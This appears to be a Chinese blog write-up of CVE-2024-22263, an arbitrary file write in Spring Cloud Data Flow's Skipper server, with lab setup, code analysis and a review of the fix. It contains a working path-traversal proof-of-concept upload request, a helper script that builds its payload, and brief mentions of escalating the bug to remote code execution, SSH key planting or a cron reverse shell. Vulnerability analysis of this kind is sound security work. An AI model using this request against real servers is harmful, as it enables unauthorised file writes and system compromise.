少女祈祷中...

springcloud dataflow任意文件写入(CVE-2024-22263)

概述

信息参考https://spring.io/security/cve-2024-22263
披露时间: 2024.5.23
分析时间:2024.6.18
github源码https://github.com/spring-cloud/spring-cloud-dataflow
github 修复 commitImproved validateUploadRequest and applied after tmp directory was cr… · spring-cloud/spring-cloud-dataflow@2ac9bfa
分析版本:2.11.2
其余信息:分析时候暂无公开poc

环境搭建

官网查看docker-compose 的搭建方式,修改镜像版本
在原本的yaml中修改
向skipper-server服务中添加远程调式端口
设置jvm启动变量JDK_JAVA_OPTIONS ,添加远程调式
由于默认版本是jdk11所以添加:

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8453
version: '3'
services:
dataflow-server:
user: root
image: springcloud/spring-cloud-dataflow-server:${DATAFLOW_VERSION:-2.11.2-SNAPSHOT}${BP_JVM_VERSION:-}
container_name: dataflow-server
ports:
- "9393:9393"
environment:
- LANG=en_US.utf8
- LC_ALL=en_US.utf8
- JDK_JAVA_OPTIONS=-Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8
# Set CLOSECONTEXTENABLED=true to ensure that the CRT launcher is closed.
- SPRING_CLOUD_DATAFLOW_APPLICATIONPROPERTIES_TASK_SPRING_CLOUD_TASK_CLOSECONTEXTENABLED=true
- SPRING_CLOUD_SKIPPER_CLIENT_SERVER_URI=${SKIPPER_URI:-http://skipper-server:7577}/api
# (Optionally) authenticate the default Docker Hub access for the App Metadata access.
- SPRING_CLOUD_DATAFLOW_CONTAINER_REGISTRY_CONFIGURATIONS_DEFAULT_USER=${METADATA_DEFAULT_DOCKERHUB_USER}
- SPRING_CLOUD_DATAFLOW_CONTAINER_REGISTRY_CONFIGURATIONS_DEFAULT_SECRET=${METADATA_DEFAULT_DOCKERHUB_PASSWORD}
- SPRING_CLOUD_DATAFLOW_CONTAINER_REGISTRYCONFIGURATIONS_DEFAULT_USER=${METADATA_DEFAULT_DOCKERHUB_USER}
- SPRING_CLOUD_DATAFLOW_CONTAINER_REGISTRYCONFIGURATIONS_DEFAULT_SECRET=${METADATA_DEFAULT_DOCKERHUB_PASSWORD}
depends_on:
- skipper-server
restart: always
volumes:
- ${HOST_MOUNT_PATH:-.}:${DOCKER_MOUNT_PATH:-/home/cnb/scdf}

app-import-stream:
image: springcloud/baseimage:1.0.4
container_name: dataflow-app-import-stream
depends_on:
- dataflow-server

app-import-task:
image: springcloud/baseimage:1.0.4
container_name: dataflow-app-import-task
depends_on:
- dataflow-server
command: >
/bin/sh -c "
./wait-for-it.sh -t 360 dataflow-server:9393;
wget -qO- '${DATAFLOW_URI:-http://dataflow-server:9393}/apps' --no-check-certificate --post-data='uri=${TASK_APPS_URI:-https://dataflow.spring.io/task-maven-latest&force=true}';
wget -qO- '${DATAFLOW_URI:-http://dataflow-server:9393}/apps/timestamp3' --no-check-certificate --post-data='bootVersion=3&uri=maven://uri=maven:io.spring:timestamp-task:3.0.0';
wget -qO- '${DATAFLOW_URI:-http://dataflow-server:9393}/apps/timestamp-batch3' --no-check-certificate --post-data='bootVersion=3&uri=maven://uri=maven:io.spring:timestamp-batch:3.0.0';
echo 'Maven Task apps imported'"

skipper-server:
user: root
image: springcloud/spring-cloud-skipper-server:${SKIPPER_VERSION:-2.11.2-SNAPSHOT}${BP_JVM_VERSION:-}
container_name: skipper-server
ports:
- "7577:7577"
- "8453:8453"
- ${APPS_PORT_RANGE:-20000-20195:20000-20195}
environment:
- LANG=en_US.utf8
- LC_ALL=en_US.utf8
- JDK_JAVA_OPTIONS=-Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8453
- SERVER_PORT=7577
- SPRING_CLOUD_SKIPPER_SERVER_PLATFORM_LOCAL_ACCOUNTS_DEFAULT_PORTRANGE_LOW=20000
- SPRING_CLOUD_SKIPPER_SERVER_PLATFORM_LOCAL_ACCOUNTS_DEFAULT_PORTRANGE_HIGH=20190
- LOGGING_LEVEL_ORG_SPRINGFRAMEWORK_CLOUD_SKIPPER_SERVER_DEPLOYER=ERROR

restart: always
volumes:
- ${HOST_MOUNT_PATH:-.}:${DOCKER_MOUNT_PATH:-/home/cnb/scdf}
启动:docker-compse up -d 漏洞通告上已经说明是skipper-server 那么访问7577端口 ## 漏洞分析 根据commit 定位到spring-cloud-skipper\spring-cloud-skipper-server-core\src\main\java\org\springframework\cloud\skipper\server\service\PackageService.java ### poc
POST /api/package/upload HTTP/1.1
Host: 192.168.88.65:7577
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 190

{
"name": "../../../yyjccc",
"repoName": "local",
"version": "1.0.0",
"extension": "zip",
"packageFileAsBytes": [80,75,3,4,20,0,0,0,0,0,200,187,210,88,142,142,69,37,15,0,0,0,15,0,0,0,8,0,0,0,116,101,115,116,46,116,120,116,116,104,105,115,32,119,101,98,115,104,101,108,108,13,10,80,75,1,2,20,0,20,0,0,0,0,0,200,187,210,88,142,142,69,37,15,0,0,0,15,0,0,0,8,0,0,0,0,0,0,0,1,0,32,0,0,0,0,0,0,0,116,101,115,116,46,116,120,116,80,75,5,6,0,0,0,0,1,0,1,0,54,0,0,0,53,0,0,0,0,0]
}
### 分析过程 定位到upload函数 找到调用的接口: /api/package/upload 请求参数UploadRequest,默认使用jackson,也就是说是json格式的数据 那么文件内容就应该是byte数组(ascii码的数组) 编写脚本读取文件
import json


def file_to_byte_array(file_path):
try:
with open(file_path, 'rb') as file:
content = file.read()
byte_array = list(content)
return byte_array
except Exception as e:
print(f"Error reading file: {e}")
return None


def byte_array_to_json(byte_array):
try:
return json.dumps(byte_array)
except Exception as e:
print(f"Error converting to JSON: {e}")
return None


if __name__ == "__main__":
file_path = 'test.zip' # 替换为你要读取的文件路径
byte_array = file_to_byte_array(file_path)
if byte_array is not None:
byte_json = byte_array_to_json(byte_array)
if byte_json is not None:
print(byte_json)

跟进validateUploadRequest方法 可知所有属性都不能为空,且版本vesion要满足规范,extension只能是zip,也就是说上传的文件数据必须是zip格式的 跟进getRepositoryToUpload方法 这里必须能够获取到Repository 查看/api/repositories 默认有一个名为local的存储库

接下来继续分析


packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
ZipUtil.unpack(packageFile.toFile(), packageDir);
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()+ "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);

首先会创建临时目录

然后再将临时目录与name拼接,作为临时文件上传目录。
漏洞点就出现在这里,如果name中有../等进行目录遍历,那么就可以设置任意的目录为上传目录

然后与name,version与extension相加然后得到要写入数据的文件的完整路径(name拼接了两次)

然后解压到上传目录
最后还拼接得到(这里加上了-version),再检查是否存在

也就是说会异常
走到finally代码块

会删除临时目录,原本正常的请求,由于上一级目录删除了,上传的文件就删除了,但通过目录遍历,上传目录已经不是临时目录中的子目录了,所以不会删除
最终效果:

利用

springboot fat 从任意文件写入到RCE
或者是写ssh公钥(物理机环境)
写计划任务反弹shell

修复分析

https://github.com/spring-cloud/spring-cloud-dataflow/commit/2ac9bfa5c2f7cdcc86938ce036283a37008add31

主要修改

packageDirPath.toFile().getCanonicalPath() 是Java中的用于获取文件路径的规范路径。规范路径是指消除路径中的冗余部分(如..和.)之后的路径。
如:若packageDirPath 为 /tmp/upload/../../yyjccc
则packageDirPath.toFile().getCanonicalPath() 为 /yyjccc
然后再判断上传目录是否以临时目录开头,若进行了目录遍历(像上面临时目录为/tmp/upload,目标目录为/yyjccc)就会抛出异常,就无法继续下去,因此也是修复了漏洞